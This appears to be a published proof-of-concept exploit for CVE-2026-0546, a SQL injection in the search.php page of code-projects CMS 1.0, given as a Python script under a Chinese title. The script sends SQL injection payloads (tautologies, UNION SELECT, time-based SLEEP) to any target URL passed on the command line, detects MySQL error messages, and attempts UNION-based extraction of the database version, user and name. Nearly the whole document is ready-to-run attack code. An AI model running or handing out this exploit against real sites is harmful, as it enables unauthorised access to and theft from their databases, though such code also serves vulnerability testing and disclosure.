CVE-2026-0546: code-projects CMS 1.0 search.php SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2026-0546 SQL Injection PoC Target: code-projects Content Management System 1.0 Vulnerable File: search.php Parameter: Value (search term) """ import requests import sys def test_sql_injection(url): """ Test for SQL injection vulnerability in search functionality """ target_url = f"{url}/search.php" # Basic SQL injection test payloads payloads = [ "' OR '1'='1", "' OR 1=1--", "admin'--", "' UNION SELECT NULL--", "' AND SLEEP(5)--" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-0546 SQL Injection Test\n") for payload in payloads: try: params = {'Value': payload} response = requests.get(target_url, params=params, timeout=10) # Check for SQL error messages sql_errors = [ 'mysql_fetch', 'mysqli_fetch', 'SQL syntax', 'MySQL server version', 'Warning: mysql', 'mysqli_error', 'unterminated string' ] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[!] Potential SQL Injection found with payload: {payload}") print(f"[!] Error detected: {error}") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[*] No obvious SQL injection detected with basic payloads") return False def extract_database_info(url): """ Extract database information using UNION-based injection """ target_url = f"{url}/search.php" # Database enumeration payload payload = "' UNION SELECT NULL,NULL,version(),user(),database()--" print(f"\n[*] Attempting to extract database information...") print(f"[*] Payload: {payload}") try: params = {'Value': payload} response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Response received (length: {len(response.text)})") # Parse response for database info # In real scenario, would parse the response content print("[*] Manual analysis of response required") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-0546.py <target_url>") print("Example: python cve-2026-0546.py http://target.com/cms") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target) extract_database_info(target)